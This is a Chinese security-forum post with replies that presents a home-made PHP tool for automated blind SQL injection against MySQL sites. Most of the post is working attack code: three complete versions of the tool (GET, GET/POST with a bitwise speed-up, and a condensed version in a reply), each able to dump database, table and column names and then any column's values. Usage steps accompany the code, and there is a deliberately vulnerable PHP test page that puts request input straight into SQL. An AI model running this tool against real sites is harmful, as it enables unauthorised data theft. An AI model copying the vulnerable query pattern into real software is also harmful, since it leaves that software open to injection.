PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询

2020-06-23 17:39:11 40 11575 10
0x00 前言
由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补。兜兜转转到了SQL盲注部分,然后在SQL盲注上面下了不少功夫,因为最初没有怎么去理解它,都是拿着sqlmap一顿梭。原谅我非要把我的学习过程写下来,取工具翻到最下最下最下就OK了。hhh。
0x01 information_schema图
看什么看,这就是一张图片(我承认我是混0x999的)

因为SQL盲注时注入数据会常用到information_schema库,所以自己总结成一张图片大家也抽空记忆一下~.~

0x02 SQL盲注简单又”复杂”的方法
针对于SQL盲注我们不会像联合注入一样非常轻松,有时需要burpsuite进行爆破,有时我们需要安装sqlmap(没有sqlmap我玩个寂寞啊),而有时结构复杂我们又非得自己写工具,所以我们先看看关于SQL盲注的一些方法吧。
对于Mysql的内置函数,如database()等函数还是比较容易的。
在页面返回true或false的情况下我们可以通过逻辑与运算,来进行判断database()函数的长度,例如and length((select database()))=1、and length((select database()))=2、and length((select database()))=3...直到页面返回true。随后可以借助mid/substr字符串截取函数来进行一个一个字符的猜解。例如:and substr(database(),1,1)=’r’。那么当我们要进行获取数据库内的信息时,我们需要借助information_schema库。但针对于SQL盲注来讲,information_schema库我们如果手工的话,可能这个夏天要过去了吧。
首先这里先了解一下盲注information_schema库是怎么个玩法,再来编写脚本。
我们要知道information_schema.schemata的schema_name有几条(总共有几个数据库?),还要通过schema_name的条数来通过limit来对每一条的长度进行计算(我要得到的信息有几位字母/数?),然后我们通过字符的长度来通过substr截取出来然后判断每一个字符是什么(我要得到的信息是什么?)。好了,你成功的得到了一条数据。
我们的算法就是非常简单,就是一个一个试,试一年,拿一个字符是一个字符,拿一条数据库信息就是赚到,安全就是这么勤奋且有趣(什么?谁在骂我,我跳起来打你小膝盖)。

0x03 针对于SQL盲注简单又”复杂”的方法的PHP脚本编写
<!DOCTYPE html>
<html>
<head>
        <title>SQL盲注工具-.-By:T00ls</title>
        <meta charset="utf-8">
</head>
<body>
<?php
ini_set('max_execution_time',0);
$dbname = isset($_GET['dbname']) ? $_GET['dbname'] : '';
$tablename = isset($_GET['tablename']) ? $_GET['tablename'] : '';
$columnname = isset($_GET['columnname']) ? $_GET['columnname'] : '';

$_az = range('a','z');
$_AZ = range('A','Z');
$_19 = range('1','9');
$_other = array('@','_','.','%','/');
$_sum = array_merge($_az,$_AZ,$_19,$_other);


$sqlUrl = 'http://www.phptest.com/6.php?id=1';
$okContent = file_get_contents($sqlUrl);

if(!$dbname){
        $DBCount = 1;
        while(true){//获取count
                $InjectionStatement = '+and+(select+count(schema_name)+from+information_schema.schemata)='.$DBCount.'+--+';
                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                if($DBTesting == $okContent){
                        break;
                }else{
                        $DBCount ++;
                }
        }
        $DBLengthArr = array();
        for($i = 0; $i < $DBCount; $i++){
                $TempNum = 1;
                while(true){
                        $InjectionStatement = '+and+length((select+schema_name+from+information_schema.schemata+limit+'.$i.',1))='.$TempNum.'+--+';
                        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                        if($DBTesting == $okContent){
                                $DBLengthArr[$i] = $TempNum;
                                break;
                        }else{
                                $TempNum ++;
                        }
                }
        }
        $DBNameArr = array();
        foreach ($DBLengthArr as $Llimit => $dblength) {
                for ($i=1; $i <= $dblength; $i++) {
                        foreach ($_sum as $key => $value) {
                                $InjectionStatement = '+and+mid((select+schema_name+from+information_schema.schemata+limit+'.$Llimit.',1),'.$i.',1)="'.$value.'"'.'+--+';
                                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                                if($DBTesting == $okContent){
                                        $DBNameArr[$Llimit] .= $value;
                                        break;
                                }
                        }
                }
               
        }
        $DBName = implode('<br>',$DBNameArr);
        die('盲注完成,当前数据库名称有:<br>'.$DBName);
}else{
        $InjectionStatement = '+and+find_in_set("'.$dbname.'",(SELECT+group_concat(schema_name,",")+FROM+information_schema.schemata+where+schema_name="'.$dbname.'"))'.'+--+';
        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
        if($DBTesting <> $okContent){
                die($dbname.'数据库不存在,请重新复制粘贴,谢谢');
        }
}

if(!$tablename){
        $TBcountFlag = false;
        $TBlength = 1;

        while(true){
                $InjectionStatement = '+and+(SELECT+count(*)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'")='.$TBlength.'+--+';
                if(file_get_contents($sqlUrl.$InjectionStatement) == $okContent){
                        break;
                }else{
                        $TBlength ++;
                }
        }
        $TBNameArr = array();
        $TBSubArr = array();

        for($i = 1; $i <= $TBlength; $i++){
                $TBFlag = 1;
                while(true){
                        $InjectionStatement = '+and+(SELECT+length(table_name)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'"+limit+'.($i-1).',1)='.$TBFlag.'+--+';
                        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                        if($DBTesting == $okContent){
                                $TBSubArr[$i-1] .= $TBFlag;
                                break;
                        }else{
                                $TBFlag ++;
                        }
                }       
        }

        foreach ($TBSubArr as $k => $v) {
                for($j = 1; $j <= $v; $j++){
                        foreach ($_sum as $key => $value) {
                                $InjectionStatement = '+and+mid((SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'"+limit+'.$k.',1),'.$j.',1)="'.$value.'"'.'+--+';
                                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                                if($DBTesting == $okContent){
                                        $TBNameArr[$k] .= $value;
                                        break;
                                }
                        }
                }
        }

        $TBstring = implode('<br>',$TBNameArr);
        die('盲注完成,数据库'.$dbname.'所拥有的表:<br>'.$TBstring);

}else{
        $InjectionStatement = '+and+find_in_set("'.$tablename.'",(SELECT+group_concat(table_name,",")+FROM+information_schema.tables+where+table_name="'.$tablename.'"+and+table_schema=+"'.$dbname.'"))'.'+--+';
        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
        if($DBTesting <> $okContent){
                die($tablename.'表不存在,请重新复制粘贴,谢谢');
        }
}

if(!$columnname){
        $ColumnCount = 1;
        while(true){
                $InjectionStatement = '+and+(select+count(column_name)+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'")='.$ColumnCount.'+--+';
                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                if($DBTesting == $okContent){
                        break;
                }else{
                        $ColumnCount ++;
                }
        }

        $EveryColumnCountArr = array();
        for ($i=0; $i < $ColumnCount; $i++) {
                $EveryColumnCount = 1;
                while (true) {
                        $InjectionStatement = '+and+length((select+column_name+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'"+limit+'.$i.',1))='.$EveryColumnCount.'+--+';
                        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                        if($DBTesting == $okContent){
                                $EveryColumnCountArr[$i] = $EveryColumnCount;
                                break;
                        }else{
                                $EveryColumnCount ++;
                        }
                }
        }
        $CMNameArr = array();
        foreach ($EveryColumnCountArr as $k => $v) {
                for($j = 1; $j <= $v; $j++){
                        foreach ($_sum as $key => $value) {
                                $InjectionStatement = '+and+mid((select+column_name+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'"+limit+'.$k.',1),'.$j.',1)="'.$value.'"'.'+--+';
                                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                                if($DBTesting == $okContent){
                                        $CMNameArr[$k] .= $value;
                                        break;
                                }
                        }
                }
        }
        $CMstring = implode('<br>',$CMNameArr);
        die('盲注完成,数据库'.$dbname.'中'.$tablename.'表所拥有的字段:<br>'.$CMstring);
}

if($dbname && $tablename && $columnname){
        $strLen = 0;
        $columnTrueCount = '';
        $columnname = explode(',', $columnname);
        $columnCount = 1;
        while (true) {
                $InjectionStatement = '+and+(select+count('.$columnname[0].')+from+'.$dbname.'.'.$tablename.')='.$columnCount.'+--+';
                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                if($DBTesting == $okContent){
                        $columnTrueCount = $columnCount;
                        break;
                }else{
                        $columnCount ++;
                }
        }

        $columnLength = array();
        foreach ($columnname as $key => $value) {
                for ($i=0; $i < $columnTrueCount; $i++) {
                        $flagLength = 1;
                        while (true) {
                                $InjectionStatement = '+and+length((select+'.$value.'+from+'.$dbname.'.'.$tablename.'+limit+'.$i.',1))="'.$flagLength.'"'.'+--+';
                                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                                if($DBTesting == $okContent){
                                        $columnLength[$i][$value] = $flagLength;
                                        break;
                                }else{
                                        $flagLength ++;
                                }
                        }
                }
        }

        $ColumnContent = array();
        foreach ($columnLength as $lTrim => $lTrimValue) {
                foreach ($lTrimValue as $columnNames => $columnNamesLength) {
                        for ($i=1; $i <= $columnNamesLength; $i++) {
                                foreach ($_sum as $key => $value) {
                                        $InjectionStatement = '+and+mid((select+'.$columnNames.'+from+'.$dbname.'.'.$tablename.'+limit+'.$lTrim.',1),'.$i.',1)="'.$value.'"'.'+--+';
                                        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                                        if($DBTesting == $okContent){
                                                $ColumnContent[$lTrim][$columnNames] .= $value;
                                                break;
                                        }
                                }
                        }
                }
        }
}
?>
<table border=1>
        <tbody><?php echo $dbname.'.'.$tablename.'下的'.implode('/',$columnname).'表';?></tbody>
        <tr>
                <?php foreach($columnname as $k=>$v):?>
                        <th><?php echo $v;?></th>
                <?php endforeach;?>
        </tr>
        <?php foreach($ColumnContent as $k => $v):?>
                <tr>
                        <?php foreach($v as $key=>$value):?>
                                <td><?php echo $value;?></td>
                        <?php endforeach;?>
                </tr>
        <?php endforeach;?>
</table>
</body>
</html>
归根到底,复习还是复习,虽然算法比较简单明了,也是需要尝试一遍,花了一些时间实现了0x02所说的编写思路,吐槽一下,代码还是要天天写,很久没写确实写法都不一样了,上述代码是完全通过面向过程编写,都没有封装方法,导致我只实现了get请求的获取方式。
然后找一处SQL盲注的页面:
<?php

$mysqli = new mysqli('localhost','root','root','选择的数据库',3306);
if($mysqli -> connect_error){
        die($mysqli -> connect_errno);
}
$mysqli -> set_charset('utf8');
$sql = "SELECT * FROM `user` WHERE id={$_REQUEST['id']}";
//echo $_REQUEST['id'];
$res = $mysqli -> query($sql);
if($res){
        $row = $res->fetch_assoc();
        if($row){
                echo 'yes';
        }else{
                echo 'no';
        }
}else{
        echo 'SQL语句错误'.$sql;
}
使用说明书:
1.在21行中填写我们要盲注的站点(注入类型必须为数字型)
2.在什么都不知道的情况下访问一下该页面。

可以看到完全一一对应
3.添加参数?dbname=要选择查询的数据库

4.紧接着传入参数tablename=要选择查询的表

5.传入参数columnname=字段1,字段2....

0x04 通过Mysql位运算来优化访问频率
我们当然知道上面工具的执行效率,一个字,低!!!然而我们会想到二分法等算法来优化我们的代码。但是这里给大家介绍的是Mysql位运算。
我们知道二分法是通过ascii码来进行取大取小的,想到ascii码就有趣了。如图:字符a的ASCII码值为97

那么我们看一下它的二进制

是1100001一共七位字符串,因为ASCII码值1-127,十转二进制255为最大,所以这里不会出现八位的情况。
那么我们通过substr/mid函数来依次截取二进制的第一位、二进制的第二位、.....、二进制的第七位依次对1进行位运算中的与运算。
与运算图:

然后通过与运算我们就可以获取到数据的真正二进制数值,下面我们简单获取一下r字符的二进制码。

将每次的结果进行拼接,可以得到r字母的ASCII值的二进制数。
那么我们进行二进制转换为10进制,ASCII码转字符,即可知道数据的第一位是什么。
数据表中的每一位字符只需要七次就可以完成,比第一种方式快了许多许多。
那么我们这里要注意的是,mysql的bin函数结果不够八位前面是没有0字符的,因为我编写脚本踩了坑,导致我盲注了一些非常古怪的字符。。。
我们通过mysql的lpad函数来进行前面补零,如图:

还要注意的是数字类型返回六位二进制,如图:

还好MySQL提供了补零函数,不然自己搞起来是真的麻烦。

整个逻辑搞清楚开始编写位运算盲注代码
0x05 Mysql位运算盲注代码
这里为了不犯面向过程的错误,封装了几个方法,并且加入了POST请求盲注方式
代码如下:
<!DOCTYPE html>
<html>
<head>
        <title>SQL盲注工具-.-By:T00ls</title>
        <meta charset="utf-8">
</head>
<body>
<?php
ini_set('max_execution_time',0);
$dbname = isset($_GET['dbname']) ? $_GET['dbname'] : '';
$tablename = isset($_GET['tablename']) ? $_GET['tablename'] : '';
$columnname = isset($_GET['columnname']) ? $_GET['columnname'] : '';
$method = isset($_GET['method']) ? $_GET['method'] : 'get';

$InjectionUrl = 'http://www.phptest.com/6.php?id=1';        /* 如果遇到字符型SQL注入请在id前面添加单引号闭合 !!!*/

if($method == 'post'){
        $data = array(
                'id'        =>        '1{\'_T00ls_}',        /* {XXX_T00ls_} 如果遇到字符串型SQL注入,请将XXX部分改为单引号自行闭合 !!!*/
                'pass'        =>        'admin888'
        );
        $okContentData = $data;
        function sendValue($sql){
                global $data,$InjectionUrl;
                $tempData = $data;
                foreach ($tempData as $key => $value) {
                        preg_match('/\{.*?_T00ls_\}/', $value,$match);
                        if($match[0]){
                                $tempData[$key] = str_replace('_T00ls_', $sql, $value).' -- \\';
                                $tempData[$key] = str_replace('{', '', $tempData[$key]);
                                $tempData[$key] = str_replace('}', '', $tempData[$key]);
                                //echo $tempData[$key].'<br>';
                        }
                }

                $requestBody = http_build_query($tempData);
                $option = array(
                        'http'        =>        array(
                                'method'        =>        'POST',
                                'header'        =>        "Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($requestBody),
                                'content'        =>        $requestBody
                        )
                );
                $context = stream_context_create($option);
                $response = file_get_contents($InjectionUrl,false,$context);
                return $response;
        }
        foreach ($okContentData as $key => $value) {
                preg_match('/\{.*?_T00ls_\}/', $value,$okmatch);
                if($okmatch[0]){
                        $okContentData[$key] = str_replace($okmatch[0], '', $value);
                }
        }
        $ok_requestBody = http_build_query($okContentData);
        $ok_option = array(
                'http'        =>        array(
                        'method'        =>        'POST',
                        'header'        =>        "Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($ok_requestBody),
                        'content'        =>        $ok_requestBody
                )
        );
        $ok_context = stream_context_create($ok_option);
        $okContent = file_get_contents($InjectionUrl,false,$ok_context);
        //echo $okContent;exit;
}else{
        function sendValue($sql){
                global $InjectionUrl;
                $Url = $InjectionUrl.$sql.' -- \\';
                $result = file_get_contents($Url);
                return $result;
        }
        $okContent = file_get_contents($InjectionUrl.'+--+');
}


if(!$dbname){
        $DBCount = 1;
        while(true){
                $InjectionStatement = ' and (SELECT count(SCHEMA_NAME) FROM information_schema.schemata)='.$DBCount;
                if(sendValue($InjectionStatement) == $okContent){
                        break;
                }else{
                        $DBCount ++;
                }
        }
        $DBEveryLength = array();
        for ($limit=0; $limit < $DBCount; $limit++) {
                $DBLength = 0;
                while(true){
                        $InjectionStatement = " and length((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1))={$DBLength}";
                        if(sendValue($InjectionStatement) == $okContent){
                                break;
                        }else{
                                $DBLength ++;
                        }
                }
                $DBEveryLength[] = $DBLength;
        }
        $DBEveryString = array();
        foreach ($DBEveryLength as $limit => $maxLength) {
                for($substr = 1; $substr <= $maxLength; $substr++){
                        $str = '0';
                        for ($count=1; $count <= 7; $count++) {
                                /*$InjectionStatement = " and substr(bin(ord(substr((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1),{$substr},1))),{$count},1)%261";*/
                                $InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";
                                if(sendValue($InjectionStatement) == $okContent){
                                        $str .= 1;
                                }else{
                                        $str .= 0;
                                }
                        }
                        $DBEveryString[$limit] .= chr(bindec($str));
                }
        }
        $DBName = implode('<br>',$DBEveryString);
        die('盲注完成,当前数据库名称有:<br>'.$DBName);
}

if(!$tablename){
        $tableCount = 1;
        while(true){
                $InjectionStatement = " and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='{$dbname}')={$tableCount}";
                if(sendValue($InjectionStatement) == $okContent){
                        break;
                }else{
                        $tableCount ++;
                }
        }
        $tableLengthArr = array();
        for ($limit=0; $limit < $tableCount; $limit++) {
                $tableLength = 0;
                while (true) {
                        $InjectionStatement = " and length((SELECT table_name FROM information_schema.tables WHERE table_schema='{$dbname}' limit {$limit},1))={$tableLength}";
                        if(sendValue($InjectionStatement) == $okContent){
                                break;
                        }else{
                                $tableLength ++;
                        }
                }
                $tableLengthArr[] = $tableLength;
        }


        $TBEveryString = array();
        foreach ($tableLengthArr as $limit => $max_length) {
                for ($substr = 1; $substr <= $max_length; $substr++) {
                        $str = '0';
                        for ($count = 1; $count <= 7; $count++) {
                                $InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='{$dbname}' limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";
                                if(sendValue($InjectionStatement) == $okContent){
                                        $str .= 1;
                                }else{
                                        $str .= 0;
                                }
                        }
                        $TBEveryString[$limit] .= chr(bindec($str));
                }
        }
        $TBName = implode('<br>',$TBEveryString);
        die("盲注完成,当前{$dbname}数据库名称有:<br>".$TBName);
}

if(!$columnname){
        $columnCount = 1;
        while(true){
                $InjectionStatement = " and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema='{$dbname}' AND table_name='{$tablename}')={$columnCount}";
                if(sendValue($InjectionStatement) == $okContent){
                        break;
                }else{
                        $columnCount ++;
                }
        }
        $columnLengthArr = array();
        for ($limit=0; $limit < $columnCount; $limit++) {
                $columnLength = 0;
                while (true) {
                        $InjectionStatement = " and length((SELECT column_name FROM information_schema.columns WHERE table_schema='{$dbname}' AND table_name='{$tablename}' limit {$limit},1))={$columnLength}";
                        if(sendValue($InjectionStatement) == $okContent){
                                break;
                        }else{
                                $columnLength ++;
                        }
                }
                $columnLengthArr[] = $columnLength;
        }
       
        $CNEveryString = array();
        foreach ($columnLengthArr as $limit => $max_length) {
                for ($substr = 1; $substr <= $max_length; $substr++) {
                        $str = '0';
                        for ($count = 1; $count <= 7; $count++) {
                                $InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='{$dbname}' and table_name='{$tablename}' limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";

                                if(sendValue($InjectionStatement) == $okContent){
                                        $str .= 1;
                                }else{
                                        $str .= 0;
                                }
                        }
                        $CNEveryString[$limit] .= chr(bindec($str));
                }
        }
        $CNName = implode('<br>',$CNEveryString);
        die("盲注完成,当前{$dbname}数据库{$tablename}表名称有:<br>".$CNName);
}

if($dbname && $tablename && $columnname){
        $strLen = 0;
        $columnTrueCount = '';
        $columnname = explode(',', $columnname);
        $columnCount = 1;
        while (true) {
                $InjectionStatement = ' and (select count('.$columnname[0].') from '.$dbname.'.'.$tablename.')='.$columnCount;
                if(sendValue($InjectionStatement) == $okContent){
                        $columnTrueCount = $columnCount;
                        break;
                }else{
                        $columnCount ++;
                }
        }

        $columnLength = array();
        foreach ($columnname as $key => $value) {
                for ($i=0; $i < $columnTrueCount; $i++) {
                        $flagLength = 1;
                        while (true) {
                                $InjectionStatement = ' and length((select '.$value.' from '.$dbname.'.'.$tablename.' limit '.$i.',1))="'.$flagLength.'"';
                                if(sendValue($InjectionStatement) == $okContent){
                                        $columnLength[$i][$value] = $flagLength;
                                        break;
                                }else{
                                        $flagLength ++;
                                }
                        }
                }
        }

        $ColumnContent = array();
        foreach ($columnLength as $lTrim => $lTrimValue) {
                foreach ($lTrimValue as $columnNames => $columnNamesLength) {
                        for ($i=1; $i <= $columnNamesLength; $i++) {
                                $str = 0;
                                for ($k=1; $k <= 7; $k++) {
                                        $InjectionStatement = " and substr(lpad(bin(ord(mid((SELECT {$columnNames} FROM {$dbname}.{$tablename} limit {$lTrim},1),{$i},1))),7,0),{$k},1)%261";
                                        if(sendValue($InjectionStatement) == $okContent){
                                                $str .= 1;
                                        }else{
                                                $str .= 0;
                                        }
                                }
                                $ColumnContent[$lTrim][$columnNames] .= chr(bindec($str));
                        }
                }
        }
}
?>
<table border=1>
        <tbody><?php echo $dbname.'.'.$tablename.'下的'.implode('/',$columnname).'表';?></tbody>
        <tr>
                <?php foreach($columnname as $k=>$v):?>
                        <th><?php echo $v;?></th>
                <?php endforeach;?>
        </tr>
        <?php foreach($ColumnContent as $k => $v):?>
                <tr>
                        <?php foreach($v as $key=>$value):?>
                                <td><?php echo $value;?></td>
                        <?php endforeach;?>
                </tr>
        <?php endforeach;?>
</table>
</body>
</html>
使用说明书:
1.还是之前的?dbname&tablename&columnname来进行获取数据
2.添加?method=get/post来表明通过哪种方式盲注,如图:

3.若要进行POST请求请在19-20行设置字段,如图:

4.GET请求如果遇到字符串类型也需要自行闭合单引号,如图:

0x06 工具使用注意事项
因为工具由PHP编写,而SQL盲注属于较大的工程,比较耗时间,PHP容器有时可能会报503超时错误,我们需要在nginx.conf文件中添加如下配置项
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;

0x07 尾巴
顶个帖子,可以跟lz进行py一下。


自评TCV:1

关于作者

heihu57757篇文章649篇回复

评论40次

要评论?请先  登录  或  注册
  • 20楼
    2020-6-26 18:51

    由于自己复xi时没有太注重开发的一些问题而疏忽了坛友们对于代码量的不满意,简单修改了一下。下面给出缩减版前前后后一共缩减了80行代码。

    <!DOCTYPE html> <html> <head>         <title>SQL盲注工具-.-By:T00ls</title>         <meta charset="utf-8"> </head> <body> <?php ini_set('max_execution_time',0); $GetArr = array('dbname','tablename','columnname','method'); foreach ($GetArr as $key => $value) {         $$value = isset($_GET[$value]) ? $_GET[$value] : ''; } $InjectionUrl = 'http://www.phptest.com/6.php?id=1';        /* 如果遇到字符型SQL注入请在id前面添加单引号闭合 !!!*/ if($method == 'post'){         $data = array(                 'id'        =>        '1{XXX_T00ls_}',        /* {XXX_T00ls_} 如果遇到字符串型SQL注入,请将XXX部分改为单引号自行闭合 !!!*/                 'pass'        =>        'admin888'         );         $okContentData = $data;         function sendValue($sql){                 global $data,$InjectionUrl;                 $tempData = $data;                 foreach ($tempData as $key => $value) {                         preg_match('/\{.*?_T00ls_\}/', $value,$match);                         if($match[0]){                                 $tempData[$key] = str_replace('_T00ls_', $sql, $value).' -- \\';                                 $tempData[$key] = str_replace('{', '', $tempData[$key]);                                 $tempData[$key] = str_replace('}', '', $tempData[$key]);                         }                 }                 $requestBody = http_build_query($tempData);                 $option = array(                         'http'        =>        array(                                 'method'        =>        'POST',                                 'header'        =>        "Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($requestBody),                                 'content'        =>        $requestBody                         )                 );                 $context = stream_context_create($option);                 $response = file_get_contents($InjectionUrl,false,$context);                 return $response;         }         foreach ($okContentData as $key => $value) {                 preg_match('/\{.*?_T00ls_\}/', $value,$okmatch);                 if($okmatch[0]){                         $okContentData[$key] = str_replace($okmatch[0], '', $value);                 }         }         $ok_requestBody = http_build_query($okContentData);         $ok_option = array(                 'http'        =>        array(                         'method'        =>        'POST',                         'header'        =>        "Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($ok_requestBody),                         'content'        =>        $ok_requestBody                 )         );         $ok_context = stream_context_create($ok_option);         $okContent = file_get_contents($InjectionUrl,false,$ok_context); }else{         function sendValue($sql){                 global $InjectionUrl;                 return file_get_contents($InjectionUrl.$sql.' -- \\');         }         $okContent = file_get_contents($InjectionUrl.'+--+'); } function getInformation($SELECT,$tableName,$whereArr=array(),$dbname='information_schema'){         global $okContent;         if(count($whereArr) > 0){                 $where = " WHERE ";                 $arr_key = array_keys($whereArr);                 $arr_value = array_values($whereArr);                 for($i = 0; $i < count($arr_key); $i++){                         $where .= "`{$arr_key[$i]}` = '{$arr_value[$i]}' and ";                 }                 $where = rtrim($where,' and ');         }else{                 $where = "";         }         $DBCount = 1;         $flag = false;         while(true){                 if(is_array($SELECT)){                         $flag = true;                         $InjectionStatement = " and (SELECT count({$SELECT[0]}) FROM {$dbname}.{$tableName} {$where})=".$DBCount;                 }else{                         $InjectionStatement = " and (SELECT count({$SELECT}) FROM {$dbname}.{$tableName} {$where})=".$DBCount;                 }                 if(sendValue($InjectionStatement) == $okContent){                         break;                 }else{                         $DBCount ++;                 }         }         if($flag){                 return getResult($SELECT,$tableName,$whereArr,$dbname,$DBCount,$DBCount);         }         $DBEveryLength = array();         for ($limit=0; $limit < $DBCount; $limit++) {                  $DBLength = 0;                 while(true){                         $InjectionStatement = " and length((SELECT {$SELECT} FROM {$dbname}.{$tableName} {$where} limit {$limit},1))={$DBLength}";                         if(sendValue($InjectionStatement) == $okContent){                                 break;                         }else{                                 $DBLength ++;                         }                 }                 $DBEveryLength[] = $DBLength;         }         $DBEveryString = array();         foreach ($DBEveryLength as $limit => $maxLength) {                 for($substr = 1; $substr <= $maxLength; $substr++){                         $str = '0';                         for ($count=1; $count <= 7; $count++) {                                  $InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT {$SELECT} FROM {$dbname}.{$tableName} {$where} limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";                                 if(sendValue($InjectionStatement) == $okContent){                                         $str .= 1;                                 }else{                                         $str .= 0;                                 }                         }                         $DBEveryString[$limit] .= chr(bindec($str));                 }         }         return implode('<br>',$DBEveryString); } function getResult($SELECT,$tableName,$whereArr,$dbname,$DBCount,$columnCount){         global $okContent,$dbname,$tablename;         $columnLength = array();         foreach ($SELECT as $key => $value) {                 for ($i=0; $i < $columnCount; $i++) {                         $flagLength = 1;                         while (true) {                                 $InjectionStatement = ' and length((select '.$value.' from '.$dbname.'.'.$tablename.' limit '.$i.',1))="'.$flagLength.'"';                                 if(sendValue($InjectionStatement) == $okContent){                                         $columnLength[$i][$value] = $flagLength;                                         break;                                 }else{                                         $flagLength ++;                                 }                         }                 }         }         $ColumnContent = array();         foreach ($columnLength as $lTrim => $lTrimValue) {                 foreach ($lTrimValue as $columnNames => $columnNamesLength) {                         for ($i=1; $i <= $columnNamesLength; $i++) {                                  $str = 0;                                 for ($k=1; $k <= 7; $k++) {                                          $InjectionStatement = " and substr(lpad(bin(ord(mid((SELECT {$columnNames} FROM {$dbname}.{$tablename} limit {$lTrim},1),{$i},1))),7,0),{$k},1)%261";                                         if(sendValue($InjectionStatement) == $okContent){                                                 $str .= 1;                                         }else{                                                 $str .= 0;                                         }                                 }                                 $ColumnContent[$lTrim][$columnNames] .= chr(bindec($str));                         }                 }         }         return $ColumnContent; } if(!$dbname){         die('盲注完成,当前数据库名称有:<br>'.getInformation('schema_name','schemata')); } if(!$tablename){         die("盲注完成,当前{$dbname}数据库名称有:<br>".getInformation('table_name','tables',array('table_schema'=>$dbname))); } if(!$columnname){         die("盲注完成,当前{$dbname}数据库{$tablename}表名称有:<br>".getInformation('column_name','columns',array('table_schema'=>$dbname,'table_name'=>$tablename))); } if($dbname && $tablename && $columnname){         $columnname = explode(',', $columnname);         $ColumnContent = getInformation($columnname,$tablename,array(),$dbname); } ?> <table border=1>         <tbody><?php echo $dbname.'.'.$tablename.'下的'.implode('/',$columnname).'表';?></tbody>         <tr>                 <?php foreach($columnname as $k=>$v):?>                         <th><?php echo $v;?>{:6_454:} </th>                 <?php endforeach;?>         </tr>         <?php foreach($ColumnContent as $k => $v):?>                 <tr>                         <?php foreach($v as $key=>$value):?>                                 <td><?php echo $value;?></td>                         <?php endforeach;?>                 </tr>         <?php endforeach;?> </table> </body> </html>

  • 19楼
    2020-6-26 18:06

    自己造轮子确实很辛苦。我正在弄python版本的,有时候想想是一回事儿,要实现起来又是另一回事,觉得越来越难,可能要放弃了

  • 18楼
    2020-6-26 16:51
    敌敌喂

    近些年都看到在讨论php,asp和aspx落寞了吗?

    1

    现在asp是很少见了。

  • 17楼
    2020-6-26 16:50
    DriverTom

    感觉最好还是读读sqlmap的源码,把自定义的一些payload集成进去

    1

    确实,分析工具的Payload也是该做的

  • 16楼
    2020-6-26 16:49
    pinkG

    这代码量...是不是有点大了

    1

    其实可以封装函数的,代码量会变小,但是对于我处于复xi阶段,完全面向过程。代码量多也是我本人的问题。(实战不要学我这么写是个反例子)

  • 15楼
    2020-6-26 16:37
    youngboy111

    我python写的似乎都没这个代码量大

    1

    其实可以完全封装函数的,每次都分为三个步骤,但是处于复xi阶段,完全面向过程了。这里也请大家见谅了~

  • 14楼
    2020-6-26 16:36
    youngboy111

    我python写的似乎都没这个代码量大

    1

    其实可以封装函数的,但是处于复xi阶段,完全面向过程。代码量多也是我本人的问题。

  • 13楼
    2020-6-26 16:23

    我python写的似乎都没这个代码量大

  • 12楼
    2020-6-26 14:52

    近些年都看到在讨论php,asp和aspx落寞了吗?

  • 11楼
    2020-6-26 13:03

    sqlmap越来越不能满足实战需求了。感谢分享

  • 10楼
    2020-6-25 15:09

    我之前也写过简单的php注入脚本,尽量取缩减代码,感觉可以磨练自己写脚本的思路和加深对数据库的了解,但是没lz这么认真~

  • 9楼
    2020-6-25 12:16

    这代码量...是不是有点大了

  • 8楼
    2020-6-24 23:44

    盲注工具比较少,php的自己改规则,好玩

  • 7楼
    2020-6-24 14:27

    感觉最好还是读读sqlmap的源码,把自定义的一些payload集成进去

  • 6楼
    2020-6-24 13:12

    有没有个python版本的

  • 5楼
    2020-6-24 10:02
    Anonymous

    只针对MYSQL?.

    1

    是的,工具是死的,但是算法是活的。

  • 4楼
    2020-6-24 09:30

    只针对MYSQL? .

  • 3楼
    2020-6-23 23:44

    sqlmap 可以自定义payload,方便的一笔

  • 2楼
    2020-6-23 23:07
    Flood

    楼主可以的,我也想把每类注入都搞个脚本,仔细搞搞。SQLmap一把有时候经常梭不动

    1

